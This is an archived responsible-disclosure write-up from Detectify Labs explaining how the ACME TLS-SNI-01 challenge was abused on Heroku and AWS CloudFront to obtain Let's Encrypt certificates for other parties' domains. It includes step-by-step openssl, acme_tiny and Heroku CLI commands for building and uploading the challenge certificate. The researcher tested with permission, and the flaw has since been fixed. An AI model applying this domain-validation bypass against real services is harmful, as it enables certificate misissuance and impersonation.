

How I exploited ACME TLS-SNI-01 issuing Let's Encrypt SSL-certs for any domain using shared hosting

How I exploited ACME TLS-SNI-01 issuing Let's Encrypt SSL-certs for any domain using shared hosting - Detectify, Labs Detectify.

- Published: 2018-01-12
- Original: <<https://labs.detectify.com/2018/01/12/how-i-exploited-acme-tls-sni-01-issuing-lets-encrypt-ssl-certs-for-any-domain-using-shared-hosting/>>
- Current location: <<https://labs.detectify.com/writeups/how-i-exploited-acme-tls-sni-01-issuing-lets-encrypt-ssl-certs-for-any-domain-using-shared-hosting/>>
- Preserved from: <https://labs.detectify.com/writeups/how-i-exploited-acme-tls-sni-01-issuing-lets-encrypt-ssl-certs-for-any-domain-using-shared-hosting/> (live) on 2026-08-06
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

[Writeups](#)

How I exploited ACME TLS-SNI-01 issuing Let's Encrypt SSL-certs for any domain using shared hosting

[\[image: image\]](#)

Frans Rosén Jan 12, 2018

[Twitter](#) [LinkedIn](#)

[\[image: How I exploited ACME TLS-SNI-01 issuing Let's Encrypt SSL-certs for any domain using shared hosting\]](#)

TL;DR: I was able to issue SSL certificates I was not supposed to be able to. AWS CloudFront and Heroku were among the affected. The issue was in the specification of ACME TLS-SNI-01 in combination with shared hosting providers. To be clear, Let's Encrypt only followed the specification, they did nothing wrong here. Quite the opposite I would say.

ACME and Let's Encrypt

(If you know how ACME and Let's Encrypt works, you can skip to the next chapter.)

Let's Encrypt started in November 2014 as an initiative created by the Internet Security Research Group (ISRG). The idea behind it was to create a certificate authority that provides free SSL certificates using an automated process.

ISRG also designed a protocol, called Automatic Certificate Management Environment (ACME) to specify how to automate interactions between certificate authorities and their users' web servers.

This protocol utilizes three methods taken from the "10 blessed methods" in the [Baselines Requirements](#) [Section 3.2.2.4] created by a voluntary consortium of vendors and certificate authorities – the CA/Browser Forum.

The three methods utilized by the ACME specification and Let's Encrypt are as follows:

- **Simple HTTP / http-01** (3.2.2.4.6) You show a specified random value on a specified URL on port 80 of the domain you want the certificate for.
- **DNS / dns-01** (3.2.2.4.7) You show a specified random value inside a DNS-record for the domain you want the certificate for.
- **DVSN1 / tls-sni-01** (3.2.2.4.10) You show a specified random value inside a self-signed certificate served on port 443.

There's also a new version being tested, and was scheduled for later this year, called **tls-sni-02**. The difference between `01` and `02` is basically to make sure the random value in the certificate requested was not only just reflected in the response, something `http-01` had already solved:

`http://example.com/.well-known/acme-challenge/foo` needs to show not only `foo` but `foo.bar` in the response.

Background

The evening on Tuesday the 9th of January 2018, I had just put my daughter to bed and was looking at an interesting edge case with a web application.

The web app was a community that also allowed you to publish your own websites to it. They also supported HTTPS by uploading your private key and certificate to the app.

Now, if you've read this blog before, you know I have written and spoken about the [non-existence of proper domain validation](#) across [the majority of cloud services](#).

This app was no exception.

The issue was just as with the other providers, you could add anyone else's domain, and if that domain wasn't already used by the owner of the domain, you could serve your content on it.

Now, to prove this was actually an issue I had to make a good proof-of-concept, something that I can show the company building the app so they understand why they should do this differently. So I started to look for domains that were pointing to the service, but without any page in the app that had claimed it. I started by looking at the subdomains of the company itself, since that makes it much clearer there's actually an issue. In the example below the domain of the service will be called `example.com`.

What I found was a bit weird. The company had a page called `investors.example.com`. This page was using the service itself and was claimed properly. But, they also had a `investor.example.com` that redirected to the subdomain `investors`. It only redirected on port 80. Port 443 was serving the 404 page you would see on an unclaimed domain for their service.

I tried adding `investor.example.com` to my account, and it worked!

Congratulations! Your page is now served under **investor.example.com**.

I could now serve content on `investor.example.com`, but only on https, port 443.

The problem however, was that the SSL certificate for that domain was served using a wildcard certificate for their other sandboxed domain, `*.example.io`, and you were presented with this:

 (https://labsadmin.detectify.com/app/uploads/2018/01/ssl-error.png)

So to show them this was a bad thing, I had to prove I could actually get a certificate for this domain. If I could, it would then be possible to upload it to their page settings and serve the page with it. I didn't need to upload the certificate if the validation went through, only show that I could actually validate the domain.

Let's Encrypt using ACME

My first idea was just to host a file on `/.well-known/acme-challenge/x` depending on the challenge from LE using `http-01`. I used the `acme_tiny` project, made a small change to it so I could manually pause the check and just verify I could get the file on there:

```
challenge = [c for c in json.loads(result.decode('utf8'))['challenges'] if c['type'] == "http-01"][0]
token = re.sub(r"^[A-Za-z0-9_-]", "_", challenge['token'])
keyauthorization = "{0}.{1}".format(token, thumbprint)

# check that the file is in place
wellknown_url = "https://{0}/.well-known/acme-challenge/{1}".format(domain, token)
raw_input(("Please upload {0} to {1}").format(keyauthorization, wellknown_url))
```

I got a challenge back from Let's Encrypt, uploaded it properly and tried.

```
ValueError: investor.example.com challenge did not pass:
u'hostname': u'investor.example.com'
u'port': u'80'
```

It only tested on port 80, never on 443. I started reading up on `http-01` and it turns out a fix was made that only made [LE only connect to port 80 due to some shared hosting providers serving another domain on port 443](#).

TLS-SNI-01

There was one option however, if you wanted to use only port 443, called `TLS-SNI-01`. However, this challenge type wasn't supported by `acme_tiny`. The way to do it was a bit different from uploading a file. I looked for information about the way to verify, and found a really good post on it from the [acme4j-project](#), they also had some code for showing the example. Here's the code rewritten for brevity:

```
validate_domain = "foobar.com"

auth = lets_encrypt_acme_challenge(validate_domain)

tls_sni_challenge = auth.findChallenge('tls-sni-01');

subject = tls_sni_challenge.getSubject(); // returns abc.xyz.acme.invalid

validate_domain_ip = get_ip_from_domain(validate_domain)

$ echo QUIT |
  openssl s_client -servername $subject
  -connect $validate_domain_ip:443 |
  openssl x509 -text -noout

# This should return a certificate with subject set as X509v3 Subject Alternative Name.
```

My jaw dropped. I was chatting with my friend [Jobert](#) when I read it, this was my reaction when I saw it:  (https://labsadmin.detectify.com/app/uploads/2018/01/chat.png)

The idea is basically this:

- When you ask Let's Encrypt for a challenge, you are supposed to create a self-signed certificate with the challenge you get. The self-signed certificate should contain the challenge, formatted like this: `abc.xyz.acme.invalid` inside the certificate as a Subject Alternative Name (SAN).
- Let's Encrypt's ACME-server will then connect on port 443 using TLS, and utilize something called Server Name Indication (SNI). To put it simply, before the TLS-communication starts, there's a plaintext string with the domain-name it asks for. The response after that should be a certificate matching that domain. After that, the connection moves to being encrypted. Let's Encrypt then checks the certificate it gets back, and if the `abc.xyz.acme.invalid` is there, it will close the connection and allow the certificate to be created.

AWS CloudFront and Heroku

Since the start of the whole subdomain takeover stuff, I've seen many different ways to solve domain resolving. Some of the large providers, AWS CloudFront and Heroku, are doing it a bit similar to each other.

AWS CloudFront is a CDN network product from Amazon Web Services. CloudFront works like this: they put up a bunch of PoPs (points of presence). These are exit/entry nodes close to large cities, and

depending on where you are it will route to entry nodes close to you. As soon as you have connected to their entry node, you enter their internal network.

Heroku is a cloud service where you're able to create server instances, called dynos, which run in a large grid. There's no real server, but your application shares a sandboxed infrastructure with others.

Domain routing

Both these services use their own centralized router. This router has a database of domains and decides what each domain requested should point to. This database handles conflict checking, so two customers cannot add the same domain.

They also allow you to add domains before you have connected to them. This makes sense if you want to prevent downtime moving to these services. You basically add the domain you like, and as soon as the DNS has pointed properly, the domain will not have any downtime in between.

Also, at least Heroku made a very interesting design choice. They separate the SNI request lookup from the Host-header lookup.

Since they only serve web applications, they can always rely on the Host-header to decide what to show. This means that the SNI being sent is only used to look up what certificate you should get.

This solution is convenient since it means you can create an app, add the wildcard domain `*.example.net` to it, upload your wildcard certificate connected to the app, and for every new app you create and add a subdomain of that domain to, you will be served with the wildcard certificate. The SNI lookup will serve the proper cert, and the Host-header will decide what app it will serve. *This has also created some scenarios with "Subdomain Takeovers" where the takeover is actually serving the proper SSL certificate.*

The lookups, however, are using the same centralized database, the one without any verification, remember?

It's all downhill from here.

You might already see where this is heading.

You see, **the ACME TLS-SNI-01 only uses the domain you want to validate to resolve what IP it should connect to. Nowhere in the challenge request is there any mention of the domain you want to validate.**

The first thing I did was to just add `foo.bar.acme.invalid` to a Heroku app.

It worked. I was stunned. I could not believe that I had read the specification correctly.

I did the same thing in AWS CloudFront. I then tried connecting to the CloudFront network using the `acme.invalid` -domain after the change had propagated:

```
$ curl -H "Host: abc.xyz.acme.invalid" 13.33.23.23
```

```
Hello
```

I did not believe it. I actually did not believe it. There must be something in the whole chain that prevents this from happening. I hadn't uploaded any self-signed challenge certificates yet, so I was sure it would stop working at some point.

I have a friend working in the security team for a large company, a company I should have no right to issue certificates for. I knew they used Heroku, and that they are always happy to help test out stuff for the greater good, so I pinged him and asked very kindly:

 (https://labsadmin.detectify.com/app/uploads/2018/01/chat2.png)

I suggested a few subdomains to test on, to make sure it was nothing critical:

 (https://labsadmin.detectify.com/app/uploads/2018/01/chat3.png)

The domain was pointing to the Heroku routing network:

```
$ host sm.example.com
sm.example.com is an alias for sm.example.com.herokudns.com.
```

Creating a proof-of-concept

I started with the regular Let's Encrypt setup for creating a new certificate. You create a Certificate Signing Request (CSR) from your private key with the domain as a SAN.

```
domain="sm.example.com"
openssl genrsa 4096 > account.key;
openssl genrsa 4096 > domain.key;

openssl req -new -sha256 -key domain.key -subj "/" -reqexts SAN -config <(cat /etc/ssl/openssl.cnf <
```

I then modified my `acme_tiny.py` to output the challenge for `tls-sni-01` instead of the `http-01` one:

```
challenge = [c for c in json.loads(result.decode('utf8'))['challenges'] if c['type'] == "tls-sni-01"]
token = re.sub(r"^[A-Za-z0-9_-]", "_", challenge['token'])
keyauthorization = "{0}.{1}".format(token, thumbprint)
raw_input(("Verification key: {0}").format(keyauthorization))
```

And then I ran:

```
$ python acme_tiny.py --account-key account.key --csr domain.csr
```

It gave me back the verification key and paused since I wanted to make sure I could continue when the setup was done. To know what domain you should put in the self-signed certificate, you had to encode the challenge properly (this was borrowed from the [acme.sh project](#)):

```
_hash_B="$(printf "%s" "$challenge" | openssl dgst -sha256 -hex | cut -d = -f 2 | tr -d ' ')"

_x="$(echo "$_hash_B" | cut -c 1-32)"
_y="$(echo "$_hash_B" | cut -c 33-64)"
```

You then create your self-signed certificate with this domain inside the SAN, I still used the domain I wanted to verify inside the Common Name (CN=):

```
$ openssl genrsa 4096 > tls.key;

$ printf "[ req_distinguished_name ]n[ req ]ndistinguished_name = req_distinguished_namenreq_extensi
$ printf -- "nsubjectAltName=DNS:${_x}.${_y}.acme.invalid" >> tls.cnf

$ openssl req -new -sha256 -key "tls.key" -subj "/CN=$domain" -config "tls.cnf" -out "tls.csr"
$ openssl x509 -req -days 365 -in "tls.csr" -signkey "tls.key" -extensions v3_req -extfile "tls.cnf"

$ cat tls.pem
$ echo "${_x}.${_y}.acme.invalid"
```

Heroku PoC

I now got the `abc.xys.acme.invalid` I had to add to my Heroku app, I also had my private key `tls.key` and the `tls.pem` with the self-signed certificate.

```
$ heroku certs:add tls.pem tls.key --app my-app --type sni
```

It uploaded successfully. It also asked me if I wanted to add `sm.example.com` to my app, since it found it in the CN. This was also a clear indication of their separation of lookups of SNI and Host-header still being connected to the same domain-lookup database. I answered no.

(Weird unrelated detail, it actually shows the value of the `CN=` in this view, even though that domain was used and not mine)

[[image: image]](<https://labsadmin.detectify.com/app/uploads/2018/01/heroku.png>)

Now I waited. Sometime it takes time. Since I'm a dramatic person, I actually wrote a script, increased the volume of my computer, and made a loop that would look for `acme.invalid` in a proper SNI request. every 5 seconds. If it found it, it would repeatedly say "you broke the internet":

```
while [ true ]; do
    result=$(true | openssl s_client -servername abc.xyz.acme.invalid -connect sm.example.com:443 |
    if [ "$result" != "" ]; then
        say "you broke the internet";
    fi
    sleep 5;
done
```

It took a minute or two. And then:

```
$ true | openssl s_client -servername abc.xyz.acme.invalid
> -connect sm.example.com:443
> | openssl x509 -noout -text
> | grep DNS: | grep acme
depth=0 /CN=sm.example.com
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 /CN=sm.example.com
verify error:num=21:unable to verify the first certificate
verify return:1
DONE

DNS:abc.xyz.acme.invalid
```

Holy...

My `acme_tiny.py` still waited for me. I had permission from the company to try it.

I tried.

[[image: image]](<https://labsadmin.detectify.com/app/uploads/2018/01/chat4.png>)

AWS CloudFront

I verified on AWS CloudFront. Host had:

```
$ host sm2.example.com
sm2.example.com is an alias for d14aoia311maf.cloudfront.net.
```

- I went to my CloudFront distribution and set the `abc.xyz.acme.invalid` as the “Alternate CNAME” of my distribution.
- I then uploaded my `tls.pem` and `tls.key` into the AWS Certificate Manager.
- I could then add the certificate to my CloudFront distribution, since my Alternate CNAME matched one in the certificate.

[[image: image]](https://labsadmin.detectify.com/app/uploads/2018/01/cloudfront2.png)[[image: image]](https://labsadmin.detectify.com/app/uploads/2018/01/cloudfront.png)

Same script again. Waited.

Reporting it to Let's Encrypt

I now realized this was not a mistake by one cloud provider only. Two of the largest ones in the world are doing it wrong – this can not be a coincidence. And Let's Encrypt only followed the ACME specification. The specification expected something with TLS-SNI-01 that didn't apply to shared hosting infrastructure, not even the largest ones.

I found the specification of [TLS-SNI-02](#), maybe this issue had already been thought of? The draft actually expired exactly (!) one year before I found the issue, on the 9th of January 2017, and the specification was already under beta testing in ACME v2. However, nothing in the new specification stated anything about this issue. It was also vulnerable to the same problem.

I found the [Let's Encrypt Security contact](#), and started writing my report. I sent an email directly giving them a heads up on a report incoming.

My email was sent to Let's Encrypt at *Wed, 10 Jan 2018 01:54:15 +0100* with all information about the current situation and that TLS-SNI-01 needs to be disabled, since it cannot be trusted as a proper verification method. I also told them I had issued two certificates with approval from the affected parties.

I had three mitigation suggestions:

- TLS-SNI-01 should be disabled.
- Make the largest cloud providers blacklist `.acme.invalid` from being added.
- TLS-SNI-01 and TLS-SNI-02 is broken per design, the specification needs to be changed to account for the state of the current cloud infrastructure.

Josh Aas replied to me in under 1,5 hour:

[[image: image]](https://labsadmin.detectify.com/app/uploads/2018/01/email1.png)

After that, it was just minutes until:

[[image: image]](https://labsadmin.detectify.com/app/uploads/2018/01/incident.png)

And only a few minutes later:

[[image: image]](https://labsadmin.detectify.com/app/uploads/2018/01/hn.png)

I went to bed, it was late, and this was not really what I had expected of this evening/night. I was really happy I found this. I woke up ~2 hours later with an email from Josh thanking me for the finding:

[[image: image]](https://labsadmin.detectify.com/app/uploads/2018/01/email2.png)

They later went out with the first announcement, crediting me for the finding. I sent a reply about how impressive their response and announcement was:

[[image: image]](https://labsadmin.detectify.com/app/uploads/2018/01/email3.png)

Summary

I'm really amazed by the speed with which Let's Encrypt acted on this. As I mentioned, they never did anything wrong, they just followed a specification that was.

Today [Let's Encrypt announced the sunset of TLS-SNI-01 and TLS-SNI-02](#). Rest in peace.

PS. Oh, and I also reported the bug above for `investor.example.com`. (Yay)

PPS. I cross my fingers domain verification will be something that more cloud providers will consider after this.

PPPS. Heroku and AWS CloudFront have both made according to my second mitigation, they do not allow the `.invalid` TLD to be added to any instances or distributions any more.

[Twitter](#) [LinkedIn](#)

[image: image]

Frans Rosén

Security Advisor

Check out more content

The Detectify AI Agent Alfred fully automates the creation of security tests for new vulnerabilities, from research to a merge request. In its first six ...

September 25, 2025

Combining response-type switching, invalid state and redirect-uri quirks using OAuth, with third-party javascript-inclusions has multiple vulnerable scenarios where authorization codes or tokens could leak to ...

July 06, 2022

CloudKit, the data storage framework by Apple, has various access controls. These access controls could be misconfigured, even by Apple themselves, which affected Apple's own apps using CloudKit. This blog post explains in detail three bugs found in iCrowd+, Apple News and Apple Shortcuts with different criticality uncovered by Frans Rosen while hacking Cloudkit. All bugs were reported to and fixed by the Apple Security Bounty program.

September 13, 2021

Security researchers in the Detectify Crowdsourcing community, Ai Ho (@j3ssiej3j) and Bao Bui (@Jok3rDb), found an undocumented security issue in Adobe Experience Manager (AEM) that bypassed authentication, and left the application open to information disclosure attacks

June 28, 2021

Archived from <https://labs.detectify.com/2018/01/12/how-i-exploited-acme-tls-sni-01-issuing-lets-encrypt-ssl-certs-for-any-domain-using-shared-hosting/>. Rendered offline from the local Markdown copy.